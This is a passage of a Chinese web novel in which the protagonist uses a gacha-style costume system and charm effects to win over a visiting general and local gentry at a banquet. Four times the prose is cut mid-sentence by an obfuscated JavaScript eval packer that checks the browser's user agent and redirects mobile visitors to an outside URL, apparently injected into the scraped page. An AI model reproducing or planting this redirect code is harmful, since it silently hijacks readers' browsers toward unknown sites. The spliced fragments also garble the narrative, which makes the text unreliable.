“等等。”太生微突然转身,眉头微蹙,“你说马厩全毁?孙虎,我记得命你子时动手,为何火势提前燃起?” 孙虎一愣,随即摇头:“属下正要禀报此事。我们的人尚未潜入,马厩就自行烧了起来!听逃兵说,是个叫铁牛的士兵带头造反,杀了伍长马三刀,又放火烧了马厩!” 太生微瞳孔微缩,这不是他安排的。 这火起得蹊跷,哗变更非他授意。按照计划,孙虎今夜才该动手,可周家军营却自行崩溃,仿佛冥冥中有股力量在推动一切。 “天命么……”他低声呢喃,心头掠过一丝异样。 十年来,他靠着“幻裳系统“装神弄鬼,从未信过什么天命。 可今日之事,却让他第一次产生了动摇——莫非这世上真有气运之说?他的谋划与天意竟如此契合? “公子?”韩七见他出神,轻声提醒。 太生微回神,敛去眼中异色:“周世铮逃往何处?” “下游的清河寨。”孙虎咧嘴一笑,“不过公子放心,那老匹夫跑不了!渡口外的流民说,看见一队人马在芦苇丛中伏击,箭矢破空,周世铮当场毙命!” “哦?”太生微挑眉,“可知是谁下的手?” 孙虎摇头:“天色太暗,看不真切。只听逃兵说,箭法极准,一箭穿心,一箭封喉,绝对是高手所为。” 太生微若有所思地点头,正欲再问,忽听府外传来一阵急促的马蹄声,由远及近,最终停在大门前。 “报——!” 一名侍卫匆匆奔入,单膝跪地:“公子,府门外来了一队人马,自称陈郡谢氏,领头的说是……是……” “是什么?”太生微眸光一冷。 侍卫咽了口唾沫:“说是虎贲中郎将谢昭,持节北上,途经河阳,特来拜会公子!” “虎贲中郎将?”太生微指尖一顿。 这官职非同小可。 虎贲军乃天子亲卫,中郎将更是秩比二千石的高阶武官,持节者可代天子行事。 谢昭以此身份来访,已不是寻常拜会,而是极为正式的官面往来。 韩七脸色微变:“公子,谢昭这是要以朝廷命官的身份压咱们?” 太生微不置可否,转向侍卫:“谢昭带了多少人?” “约二十骑,皆着明光铠,佩千牛刀,仪仗齐整。”侍卫答道,“谢将军还命人抬了个红漆木匣,说是……送给公子的见面礼。” 太生微眼中精光一闪,心中已有猜测:“请谢将军前厅稍候,说我随后便到。” 待侍卫退下,孙虎忍不住道:“公子,这谢昭来者不善啊!要不要多带些人手?” “不必。”太生微摆手,“谢昭若真有歹意,不会大张旗鼓持节来访。你们先下去吧,韩七留下。” 待孙虎退下,太生微转向韩七:“去请父亲来。” 韩七面露难色:“公子,老爷一早就去视察龙王仓了,说是要亲自盯着放粮,怕有差池。” 太生微轻叹。 父亲这是被“神迹”吓着了,如今事事亲力亲为,生怕有负“龙君”之名。 “既如此,备我朝服。”他整了整衣襟,“谢昭以官身来访,我太生家也不能失了礼数。” 韩七领命而去,太生微独自立于窗前,望着渐亮的天色,心中思绪翻涌。 谢昭此人,他在祈雨大典上见过一面。 那日谢昭站在人群外围,冷眼旁观,眼中满是不屑与怀疑,显然不信什么“龙王转世”。如今持节来访,必有所图。 至于那红漆木匣…… 太生微唇角微扬,心中已有九分把握。 他转身走向书案,忽又想起什么,停下脚步。 “今日还未抽奖。” 虽然前日祈雨耗尽了“龙女·云霓雨魄”的神力,但系统日常抽奖不受影响。 十年来,他从未间断过一日。 太生微闭目凝神,在心中默念:“系统,抽奖。” 【叮——】 【今日抽奖:开始。】 熟悉的光幕在脑海中展开,轮盘转动,最终定格。 【获得:足饰·踏云履(R级)】 【检测到套装「鹤唳·青霄客」已集齐,是否预览特效?】 太生微猛地睁眼,眸中闪过一丝讶异。 “鹤唳·青霄客”是他两年前开始收集的R级套装,此前已获得发冠、外袍、腰带三件,独缺这双踏云履。 没想到今日竟误打误撞抽中了最后一件! “预览。”他在心中默念。 刹那间,意识被拉入一片幻境。 青山之巅,云雾缭绕,一只白鹤振翅长鸣,声震九霄。鹤影掠过,化作一件月白长袍,袍角绣青鹤纹,足踏云纹短靴,整个人轻若鸿毛,一步踏出竟凌空! 幻境散去,系统提示浮现: 【套装名称】:鹤唳·青霄客(R级) 【特效·''踏雪无痕''】:首次穿戴时,身轻如燕,可短暂踏风而行,持续六个时辰。穿戴者气质出尘,言语自带信服力。 太生微眸光微动—— 这特效与之前获得的【狐魅·胭脂祸】有异曲同工之妙,都是魅惑类能力,只不过一个重形,一个重声。 “有意思。”他低声自语,“倒是应景。” 虽然现在不便穿戴,但集齐套装后,那股若有若无的气质加成似乎已开始影响他。 太生微整了整衣襟,感觉步履比平日轻盈几分。 “公子,朝服备好了。”韩七在门外轻唤。 太生微推门而出,随韩七来到内室。 四名侍女早已候着,手捧玄色深衣、玉带、锦靴等物。 “简单些。”太生微摆手,“谢昭是武官,不必全副朝仪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723256|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍女们会意,只为他换上月白中单、鸦青外袍,腰间束一条纹革带,再佩上羊脂玉珏。 最后将长发半束,以一根青玉簪固定,既不显僭越,又不失世家风范。 “公子,可要佩剑?”韩七问道。 太生微摇头:“谢昭持节而来,我若佩剑相见,反倒显得心虚。” 整理完毕,太生微对镜自照。 镜中人长身玉立,眉目如画,虽无“龙女”套装装备时的超凡气韵,却自有一股人间难寻的清贵风华。 “走吧。”他转身朝前厅走去,“莫让谢将军久等。” 前厅内,谢昭负手而立,正在欣赏壁上挂的一幅《雪鹤图》。 他今日一身戎装,明光铠擦得锃亮,腰间千牛刀未佩,以示礼节。 但通身的杀伐之气却掩不住,往那一站,便如出鞘利剑,与这雅致厅堂格格不入。 “谢将军久等了。” 清润嗓音自门外传来,谢昭转身,只见太生微缓步而入,广袖轻拂,如流风回雪。 与祈雨大典上那个神威凛凛的“龙君”判若两人,却另有一种摄人心魄的魅力。 谢昭瞳孔微缩。 褪去神通后的太生微,竟比想象中更为……惊艳。那张脸苍白得近乎透明,眉间一点朱砂痣艳如血珀,琥珀色的眸子清冷似泉,整个人如一块温润的寒玉,冷而不冽,让人忍不住想靠近,又不敢唐突。 “太生公子。”谢昭拱手,声音不自觉地放轻了几分,“冒昧来访,还望海涵。” 太生微还礼:“谢将军持节北上,途经弊邑,乃太生家之幸。请坐。” 二人分宾主落座,侍女奉上清茶。 谢昭不动声色地打量着太生微。 那日祈雨大典上,暴雨中的身影朦胧不清,只觉威压如山。今日近距离观察,才发现这位“龙君转世”举手投足间,竟真有几分不食人间烟火的仙气。 ——难怪能唬住那么多愚民。 谢昭心中冷笑,面上却不显:“昨夜河阳府好大动静,谢某途经渡口,见周家军营火光冲天,甚是诧异。今早才知,原是周世铮麾下士兵哗变,自相残杀。” 太生微轻啜一口茶,神色不变:“周司马治军不严,酿此大祸,实在可惜。” “可惜?”谢昭挑眉,忽一挥手,“来人,把礼物抬上来!” 两名亲兵抬着红漆木匣步入,当厅打开。 赫然是周世铮的首级! 那头颅面色青白,双目圆睁,脖颈处切口整齐,显是利刃所为。最骇人的是咽喉处一个血洞,贯穿前后,可见下手之狠辣。 厅内侍女吓得惊呼后退,太生微却面不改色,只微微倾身,似在欣赏一件艺术品。 “谢将军这是何意?” 谢昭直视太生微:“周世铮私蓄兵马,截留赈灾粮,意图割据河内。谢某持节北上,路见此事,自然要替天行道。” 他顿了顿,语气意味深长,“再者,周世铮与太生家素有嫌隙,这颗人头,权当谢某的见面礼。” 太生微眸光微动,心知谢昭这是在表立场。 杀周世铮既是替朝廷除害,也是向太生家示好。 10. 第 10 章 “谢将军厚礼,太生微却之不恭。”他微微颔首,“只是不知将军北上所为何事?陈郡距此千里之遥,将军不辞辛劳,必是有要务在身。” 谢昭等的就是这句问话:“实不相瞒,谢某奉旨前往幽州,督运军粮。如今北方战事吃紧,朝廷粮饷紧缺,特命我持节征调沿途州郡存粮。” 太生微心中冷笑。 什么奉旨督粮,分明是谢家想借机掌控北方粮道。如今朝廷式微,所谓圣旨,不过是诸侯间博弈的幌子。 “河阳府连年大旱,府库空虚,恐怕要让将军失望了。”太生微叹息,“不过既然将军持节而来,太生家自当尽力相助。不如这样,将军且在弊邑小住两日,待我清点府库,多少凑些粮草,也算尽一份心力。” 谢昭本欲拒绝,他原计划今日就启程北上,可不知为何,看着太生微那双眼睛,到嘴边的话却变成了:“如此……便叨扰了。” 话一出口,谢昭自己都愣住了。他素来雷厉风行,从不因私废公,怎会为太生微一句话就改变行程? 太生微似未察觉他的异样,含笑起身:“既如此,今晚设宴为将军接风。韩七,带谢将军去东厢房歇息,好生伺候。” 待谢昭一行人退下,太生微独自立于厅中,目光落在周世铮的首级上,唇角微扬。 “虎贲中郎将……“他低声自语,“陈郡谢氏……倒是意外之喜。” 他本打算慢慢吞并河内郡,如今谢昭送上门来,若能借谢氏之力,必当事半功倍。 “公子。”韩七匆匆返回,低声道,“谢昭的亲兵在打听昨夜祈雨的事,似乎对公子的''神通''很感兴趣。” 太生微不以为意:“让他打听。对了,父亲回来了吗?” “刚回府,正在更衣。老爷听说谢昭来访,很是惊讶,说要立刻来见公子。” 太生微点头:“告诉父亲不必着急,谢昭此来非为寻衅,反倒送了份大礼。”他指了指案上木匣,“周世铮的人头。” 韩七倒吸一口凉气:“这……这是要……“ “示好,也是示威。”太生微淡淡道,“谢昭持节北上,必有所图。今晚宴席,你亲自安排,菜式要精,酒要陈,再找几个伶俐的歌姬助兴。” 韩七领命而去,太生微则转身走向书房。 他需要好好想想,如何利用谢昭这条“过江龙“,为太生家谋取最大利益。 途经庭院时,一阵微风拂过,吹起他几缕未束的发丝。 太生微忽然想起【鹤唳·青霄客】的特效——踏风而行,言语信服。 今晚的宴席,或许该找个机会试试这套装的效果…… 谢昭站在东厢房的窗前,望着庭院中渐行渐远的白色身影,眉头紧锁。 “将军,咱们真要在此耽搁两日?”亲兵队长低声问,“幽州那边……“ 谢昭抬手打断:“不急这一两日。”他顿了顿,声音不自觉地放轻,“这太生微……比传闻中更有意思。” 亲兵队长顺着他的目光望去,只见太生微的背影已消失在回廊尽头,唯余一片衣角翩跹,如鹤影掠过。 “将军莫非是想……“ 谢昭没有回答,只是无意识地摩挲着剑柄,眼中闪过一丝复杂之色。 他本不该与太生微深交。 陈郡谢氏乃百年望族,虽在乱世中需多方下注,但也不该与这等“装神弄鬼“之徒走得太近。可方才厅中一会,他竟鬼使神差地答应了夜宴之邀,现在想来,着实蹊跷。 “去准备一份厚礼。”谢昭突然开口,“今晚宴席,我要正式拜会这位''龙君转世''。” 南阳府邸,夜幕低垂,灯火如昼。 正厅内,琉璃盏高悬,映得满室流光溢彩。 厅外回廊,红绸轻舞。 太生微一袭鸦青长袍,腰束纹革带,眉间朱砂痣在烛光下如血,他端坐主位,目光缓缓扫过厅内。 谢昭步入正厅,然后脚步微微一顿。 他原以为这场“接风宴”不过是一场简单的宾主会面,顶多有太生家的几个幕僚作陪。 然而,厅内景象却让他眼底闪过一丝意外。 除了太生微身侧的韩七、孙虎、陈明三人,左右两侧还坐着数位衣着华贵之人,个个神态各异,却无不带着几分拘谨。 左侧首位,卢泽一身锦袍,手持玉杯,低眉顺眼;其旁是王富,矮胖的身躯挤在椅中,满脸堆笑,眼神却不时瞟向太生微,带着几分谄媚。 右侧,赵德昌一身青衫,须发花白,笑容僵硬。 另有几位河阳府旧官员与地方士绅,分坐两侧。 谢昭眯起眼睛,心中冷笑:好一个太生微,表面以“接风”为名,实则将河阳府的势力代表一网打尽。 “谢将军,请入座。”太生微起身,广袖轻拂,声音清润,“今晚为将军接风,略备薄宴,还望不弃。” 谢昭拱手还礼,目光却在太生微身上多停留了一瞬。 今日的太生微,与祈雨大典上的“龙君”判若两人,少了那股神威凛凛的威压,却多了一分人间难寻的清贵风华。 他身着鸦青长袍,行走间衣袂微动,似有无形之风相随,举手投足间,竟让谢昭心头莫名一跳。 “太生公子客气了。”谢昭落座,语气不卑不亢,“谢某不过途经河阳,承蒙盛情款待,实不敢当。” 他扫视全场,意味深长道,“今晚宾客济济,想来公子不只为谢某接风吧?” 此言一出,厅内气氛微滞。 太生微却笑了,笑意清浅:“谢将军言重了。将军持节而来,替天行道,除周世铮之患,太生家感激不尽。今晚邀诸位共聚,一为答谢将军,二也为河阳府的未来共商大计。” “共商大计?”谢昭目光直刺太生微,“公子之意,谢某洗耳恭听。” 太生微不急不缓,端起酒盏,轻轻一敬:“河阳连年大旱,民不聊生。幸得将军诛除周世铮,解渡口之困,河阳百姓无不感念。然乱世未平,流民日增,府库空虚,赈灾艰难。太生家虽有心安民,奈何力有不逮。将军持节北上,想必对北方局势了然于胸,不知可有教我?” 这番话滴水不漏,既捧了谢昭的“功绩”,又点出河阳的困境,末了还将话题抛回,逼谢昭表态。 谢昭心中暗赞,这太生微果然不简单,三言两语便将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723257|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推到风口浪尖。 若他推说不知,便显得无能;若大包大揽,又恐落入太生微的圈套。 “公子过奖。”谢昭不动声色,端起酒盏回敬,“周世铮不过一介乱臣,谢某诛之,乃职责所在。至于河阳赈灾,朝廷虽有心,却因战事吃紧,粮饷难调。公子既有心安民,谢某愿上书朝廷,为河阳请命。” 此言一出,卢泽与王富对视一眼,眼底都有几分复杂。 赵德昌则低咳一声,掩饰尴尬。 谁不知朝廷如今自顾不暇,谢昭这“上书”不过是空话,真正意图,怕是想借机试探太生家的底细。 太生微却似未觉,微微一笑:“将军忠义,太生微佩服。只是……” 他顿了顿,目光扫过厅内众人,“河阳之事,终究需河阳人自救。诸位皆是河阳栋梁,今日既聚于此,可愿共助太生家,解民倒悬?” 卢泽、王富等人闻言,脸色微变。 他们本是来试探太生微的虚实,没想到反被逼着表态。 赵德昌老脸一红,忙起身道:“太生公子仁心仁德,老夫等自当追随!河阳乡绅愿倾力相助,开仓放粮,共渡难关!” “赵老先生高义。”太生微颔首,目光转向卢泽与王富,“卢氏与商盟,意下如何?” 卢泽心中一凛,知道今日若不表态,怕是要被太生微记上一笔。 他起身,拱手道:“卢氏世居河内,愿为公子效力,土地、粮草,皆可调用。” 王富见状,也不敢落后,堆笑道:“商盟自当追随公子!粮草辎重,随时奉上!” 他顿了顿,又试探道,“听闻公子得龙王赐宝,夜明珠光华夺目,商盟愿以高价购之,助公子赈灾之资。” 太生微闻言,眼中闪过一丝戏谑:“王掌柜消息灵通。龙王赐宝,确有其事。” 他一挥手,韩七捧上一只锦盒,打开后,数十颗夜明珠幽光流转,映得满厅生辉。 众人无不屏息,谢昭的瞳孔也微微一缩。 这等宝物,果然非凡。 “此乃龙王赐下的夜明珠。”太生微淡淡道,“既是王掌柜有心,太生家也不吝惜。数十颗珠子,交由商盟处置,所得银两,皆用于赈灾。但……” 他话锋一转,目光如刀,“若有人敢中饱私囊,龙王在上,恐有天罚。” 此言一出,王富额头冷汗直冒,连声道:“不敢!不敢!商盟定将银两全数用于赈灾!” 卢泽与赵德昌也纷纷附和,生怕被扣上“逆天”的帽子。 谢昭冷眼旁观,心中却越发惊疑。 这太生微手段高明,三言两语便将地方势力逼得表态,又以“龙王”之名震慑,恩威并施,滴水不漏。 但更大问题是…… 太生微的每一句话、每一个眼神,都有种让人信服的魔力? 连他这等心志坚定之人,竟也隐隐觉得,太生微所言皆是天理。 “莫非……”谢昭心头一震,忽想起祈雨大典上那道龙影,以及今日太生微步入厅堂时的轻盈身姿。 他虽不信神鬼,却也不得不怀疑,这位“龙君转世”是否真有某种异术,能蛊惑人心。 11. 第 11 章 宴席渐入高潮,歌姬起舞,丝竹之声袅袅。 太生微起身,亲自为谢昭斟酒:“谢将军,河阳虽小,却扼南北要冲。将军北上督粮,想必知晓粮道之重。不知谢氏可愿与太生家联手,共保河阳安稳?” 谢昭接过酒盏,目光与太生微对视,心头猛地一跳。 他定了定神:“公子之意,谢某明白。然谢氏职责在身,需得朝廷旨意,方能行事。” 太生微一笑,似早料到他会如此回答:“将军忠义,太生家不敢强求。只是……” 他顿了顿,声音低了几分,带着一丝蛊惑,“乱世之中,忠义固然可贵,民心却更为难得。将军若能助河阳一臂之力,百姓必将感念谢氏恩德。” 这话看似平常,却如一颗石子投入湖心,激起谢昭心底的涟漪。 他自幼习武,历经沙场,心志如铁,可此刻面对太生微的目光,竟有种莫名的心动。 并非男女之情,而是一种难以言喻的信服与亲近,仿佛太生微的每一句话,都带着让人无法拒绝的魔力。 “【狐魅·胭脂祸】……” 太生微心中默念,唇角微扬。 他今晚暗中穿戴了这套R级套装,特效便是“眼波流转,令人短暂恍惚”。 另外一套多了一个踏空的功能,他一时半会儿还舍不得用。 他此刻见谢昭眼底的微妙变化,就知道这套装果然不凡。 魅惑之力,不仅可用于讨好上位者,更能让下位者心生信服,甚至将这种“心动”误以为是敬佩或认同。 “公子言之有理。”谢昭终于开口,“河阳之事,谢某会上书朝廷,尽力相助。” 他顿了顿,目光扫过厅内众人,“只是,公子今晚邀集诸位,怕不只是为赈灾吧?” 太生微笑而不答,举盏道:“将军多虑了。来,诸位共饮此杯,为河阳未来,干!” 众人纷纷举盏,齐声道:“为河阳未来!” 酒过三巡,歌姬退下,厅内气氛渐缓。 太生微忽地起身,缓步走向偏厅,示意韩七引众人前去。 谢昭心生警觉,随众人步入偏厅,却见厅中案上摆着一只木匣,赫然是周世铮的首级! 卢泽与王富见状,脸色骤变,脚步不自觉后退半步。 赵德昌更是老脸发白,手中的酒盏险些落地。 韩七冷眼旁观,低声道:“此乃周世铮之首,谢将军所赠。诸位可知,周某人私蓄兵马,截留赈灾粮,触怒龙王,终遭天罚!” 此言一出,厅内鸦雀无声。 卢泽额头渗汗,忙道:“周世铮罪有应得,谢将军与公子为民除害,卢氏感激不尽!” 王富与赵德昌也连忙附和,生怕被扣上“与周氏同流”的帽子。 谢昭却皱起眉头,目光在木匣与太生微之间游移。 他送周世铮首级,本是想借太生微之手坐实“谋逆”罪名,顺便试探其野心。 没想到太生微直接将首级摆上宴席,分明是借“天罚”之名,震慑在场众人。 “谢将军。”太生微再次转向谢昭,“此番除贼,将军功不可没。太生家虽不才,愿与谢氏共谋河阳安定。不知将军意下如何?” 谢昭心头一震,知道这是太生微在逼他站队。这般再问一次,他也实在不好再推脱。他虽不信“龙王”之说,却也不得不承认,太生微的手段已将河阳的民心、士族尽收囊中。 若谢氏想借道北上,绝不能与太生家为敌。 “公子高义。”谢昭拱手道,“谢氏愿与太生家共保河阳,待上书朝廷后,自会助公子赈灾安民。” 太生微举盏道:“好!将军此言,河阳百姓必将铭记!” 宴席散去,已近子时。 太生微送走卢泽、王富等人,又与谢昭寒暄几句,亲自将这位虎贲中郎将送至府门。 谢昭拱手告辞,翻身上马,带着二十余骑亲兵消失在夜幕中,蹄声渐远,终不可闻。 太生微站在府门前,望着远去的车马灯火,唇角微扬,心中却松了一口气。 谢昭此人,锋芒毕露,杀伐果断,若非【狐魅·胭脂祸】的魅惑特效相助,今晚要收服这头“过江龙”怕是没那么容易。 他转身回府,步履略显疲惫,宴席上连番交锋,纵然有系统加持,心神也难免耗损。 回到内室,太生微挥退侍女,独自褪下鸦青长袍,换上一袭轻薄的月白寝衣。寝衣宽松,贴着皮肤,少了白日里的清贵气度,却多了几分闲散随意。 他对着铜镜随意拢了拢散乱的长发,镜中人眉目清冷,少了“龙君”的威严,“狐妖”的魅惑,倒像个寻常世家公子。 “R级套装,果然比SR差得远。” “特效不过两三个时辰,远不如‘云霓雨魄’的十二时辰震慑。” 这幻裳系统的规则,他早已摸透,可每每用完,总有种空虚感,如同神力借来又归还,徒留一身凡人之躯。 他起身,推开门,准备回书房取一卷书打发这漫漫长夜。 刚踏出房门,庭院尽头却传来一阵急促的脚步声,伴着马蹄的轻响。 太生微眉头微蹙,停下脚步,望向黑暗中渐渐清晰的身影。 “谁?” 马蹄声停,谢昭的身影出现在府门前的石阶下。 他一身明光铠在月光下泛着冷光,身后只带了两个亲兵,手中提着一盏灯笼,神色略显匆忙。 “太生公子。”谢昭拱手,语气中带着几分歉意,“方才宴席上,谢某不慎遗落了一枚玉佩,特意折返来取,冒昧打扰,还望见谅。” 太生微目光微眯,心中虽有些不悦,却未表露。 他挥手示意守门的侍卫:“去前厅看看,可有谢将军的玉佩。” 侍卫领命而去,太生微上下打量谢昭,淡淡道:“谢将军深夜折返,只为一块玉佩?未免太小题大做了。” 谢昭闻言,目光落在太生微身上,微微一顿。此刻的太生微,少了宴席上的清贵威仪,寝衣轻薄,发丝微乱,眉间那点朱砂痣在月光下显得格外醒目,竟有种说不出的……活人气。 祈雨大典上的“龙君”仿佛天神下凡,令人不敢直视;宴席上的太生微清冷如玉,举手投足尽显世家风范;而此刻的他,少了那些光环,却像个有血有肉的少年,多了几分人间的烟火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【套装名称】:风伯·御天行(SR级) 【特效·‘风卷残云’】:首次穿戴时,方圆百里内狂风大作,持续八时辰。风势可控,穿戴者可御风而行,短暂凌空,最远可达百丈。 风中隐现青鸾虚影,目睹者心生敬畏,易受暗示。 穿戴者获得“风息”能力(可感知风向,操控小范围气流)。 太生微目光微动。这套【风伯·御天行】的特效虽不及【龙女·云霓雨魄】的暴雨震撼,却也有其独到之处。 狂风大作,御风而行,看似不如呼风唤雨那般改天换地,但在特定场合,怕是能发挥奇效。 他脑海中不由闪过前世读过的历史片段—— 赤壁之战,周瑜火烧曹军,借东风之力,一举奠定胜局。 那风,不正是天助? 若他能御风而行,操控风势,是否也能在乱世中借“天意”成事? 12. 第 12 章 “风……”太生微低喃,目光悠远。 若能集齐这套装,或许能为河内郡的下一步谋划再添一重保障。 他如今的声名值已足够兑换一套SR级套装,可是否要现在动用,却让他有些犹豫。 【龙女·云霓雨魄】的祈雨已让河阳府的民心尽归,若再来一场狂风神迹,是否会引来朝廷或诸侯的过多关注? 正思索间,夜风吹过,他只觉眼皮沉重,思绪渐渐模糊。 不知不觉,竟在躺椅上睡了过去。 “公子?”韩七的声音从远处传来,轻得像怕惊扰了什么。 他快步走近,见太生微斜倚在躺椅上,眉间微蹙,似在梦中仍有所思。 月光洒在他脸上,衬得那张脸愈发鲜艳,却也掩不住眼下的疲色。 韩七轻叹一声,转身取来一件厚实的披风,小心翼翼地盖在太生微身上。 他朝一旁的小厮使了个眼色,低声道:“去,抱公子回房,动作轻些,别惊醒了。” 小厮点头,轻轻将太生微抱起,送回内室。 韩七站在院中,抬头望向夜空,心中却隐隐不安。 公子这些日子殚精竭虑,祈雨、除周氏、应对豪强,桩桩件件都如履薄冰。 虽有“龙君”之名加身,可这乱世,谁又能真如神明般无往不利? 翌日清晨,南阳府邸。 太生微醒来时,天光已透窗而入。 他揉了揉眉心,只觉头痛欲裂,昨夜的梦境支离破碎,只记得风声呼啸,仿佛置身云端。 推开窗子,晨雾弥漫,院中的桂花树上挂着几滴露珠,折射出微弱的光。 “公子,您醒了?”韩七将铜盆放在架上,试了试水温,动作熟稔地拧了帕子递过去。 太生微接过帕子,擦拭面颊,目光却落在韩七身上。 韩七低着头,神色略显迟疑,眉间似有话欲言却又咽下。 太生微将帕子放回盆中,淡淡道:“有话直说。” 韩七一愣,抬起头,见太生微正盯着自己,那双眸子清透如水,却似能看穿人心。 他咽了口唾沫,开口道:“公子,属下只是……昨夜谢昭折返,属下总觉得他此人城府极深,绝非善类。昨晚宴席上,他虽应了助我河阳赈灾,可话里话外,总透着股试探。属下担心,他日后恐成心腹大患。” 太生微闻言,唇角微勾,似笑非笑:“心腹大患?韩七,你倒是看得透彻。” 他起身,走到窗前,晨雾在院中流转,桂花的清香若有若无。 他背对韩七,“谢昭此人,的确不简单。陈郡谢氏,百年望族,根基深厚。他持节北上,名为主持幽州粮运,实则为谢氏谋取北地根基。幽州北控燕山,东据渤海,乃抵御胡骑的天然屏障。若谢氏能掌控幽州,便可效仿先祖组建北府军的模式,以边镇武力为筹码,重掌中枢。” 韩七皱眉,试探道:“可幽州如今在睿王手中。睿王虽残暴,实力却不容小觑。谢氏想在幽州立足,怕没那么容易吧?” 太生微转过身:“睿王残暴,治下民怨沸腾,但手握重兵,幽州城防固若金汤。谢氏若想分一杯羹,怕是得押注睿王。可睿王性情乖戾,喜怒无常,谢氏真会将宝全压在他身上?更何况……” 他顿了顿,眼中闪过一丝讥诮,“谢昭的堂兄谢珩,才是谢氏真正的希望。谢昭此行,怕是替谢珩探路罢了。” 韩七听罢,眉头皱得更紧:“那公子为何还留他在河阳?这谢昭若真与睿王联手,河内郡岂不危矣?” 太生微轻笑一声,语气中带着几分戏谑:“不急。谢昭未必能顺顺当当走出河内郡,说不定……他还得再折返一趟。” 韩七一愣,满脸不解:“折返?公子何出此言?” 太生微却未再解释,只摆了摆手:“去,备衣。” 韩七虽疑惑,却不敢多问,忙转身吩咐小厮取来一袭长袍。 这袍子以蜀锦织就,色如晚霞,袍角绣着金丝祥云纹,腰带以碧玉扣束,端的是华贵而不失风流。 小厮小心翼翼地为太生微换上,韩七则取来一柄白玉骨扇,衬得整个人如玉树临风,顾盼生辉。 太生微对镜自照,镜中人眉目如画,绯红袍子映得他肤色愈发白皙,眉间的朱砂痣在晨光下艳如滴血,平添三分妖冶。 他满意地点点头,接过白玉扇,轻叩掌心:“走吧,去见谢将军。” 前厅,谢昭早已等候。 他今日仍是一身明光铠,腰间未佩刀,身后只带了两名亲兵,气势却不减分毫。 见太生微步入厅中,他目光一顿,眼中闪过一丝惊艳。 今日的太生微,少了昨晚的清冷疏离,绯红长袍如烈焰张扬,行走间衣袂翻飞,整个人如一团跃动的火。 “太生公子。”谢昭起身拱手,语气中带着几分揶揄,“看来公子今日心情不错。” 太生微闻言,扇面轻摇,笑意清浅:“谢将军过奖。昨夜承蒙将军送来大礼,太生家感激不尽,自然心情畅快。” 谢昭眯起眼睛。 “公子言重。”谢昭拱手,“谢某今日特来辞行。幽州粮运紧急,谢某不敢久留,特来向公子告别。” 太生微目光微动,似有几分意外:“谢将军这便要走?昨夜才说要在河阳小住两日,怎的如此匆忙?” 谢昭神色不变:“军务在身,不敢耽搁。公子盛情款待,谢某铭记在心。他日若有机会,定当再来河阳,与公子把酒言欢。” 太生微轻笑,扇子合拢,语气意味深长:“将军好走。河内郡路途遥远,山高水险,谢将军可要多加小心。” 谢昭心头一凛,总觉得这话别有深意。 他正欲开口,韩七已快步上前,低声道:“公子,府外备好了送行的车马,是否现在送谢将军出城?” 太生微摆手:“不必大张旗鼓。谢将军持节北上,身份尊贵,太生家就不多叨扰了。” 他转向谢昭,拱手道,“将军保重。” 谢昭深深看了他一眼,拱手还礼,随即转身大步离去。 亲兵牵来战马,他翻身上马,带着二十余骑,很快消失在晨雾之中。 太生微回到书房,韩七紧随其后。 “公子。”韩七忍不住开口,“谢昭此人,果真不好收买。昨晚宴席上,他对卢氏、王富等人的示好不置可否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723259|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今日又急着辞行,分明是不愿与咱们深交。” 太生微坐在书案后,闻言只是笑了笑:“谢昭若那么容易收买,反倒不值一交。”他顿了顿,目光落在案上的舆图上,“不过,他走不了太远。韩七,取笔墨来。” “公子要写信?”韩七一愣,随即皱眉,“写给谁?” 太生微唇角微扬,指尖轻轻敲了敲案几,声音不疾不徐:“自然是我们河内郡的郡守,王贺大人。” 韩七瞳孔一缩,猛地反应过来,脸色骤然阴沉:“王贺?!” 他这两日确实听闻有怀县流民涌入河阳,暗中散布谣言,说什么“龙王娶妻”“太生微需献祭童女才能维持神力”之类的鬼话。 起初韩七只当是愚民无知,可细细一想,这些流民内容整齐,言辞凿凿,分明是有人刻意引导! “怀县是郡治所在,王贺的地盘。”韩七咬牙,拳头捏得咯咯作响,“这老匹夫自己庸碌无能,治下流民遍地,如今见公子名望日盛,竟想用这等下作手段中伤公子?!” 太生微端起茶盏,轻轻吹了吹浮沫,语气平静得像是在谈论今日的天气: “流民可怜,但造谣生事者不可恕。” “传令下去——” “第一,凡河阳境内,再有散布‘龙王娶妻’‘童女献祭’者,一律收押审问,查明背后指使。” 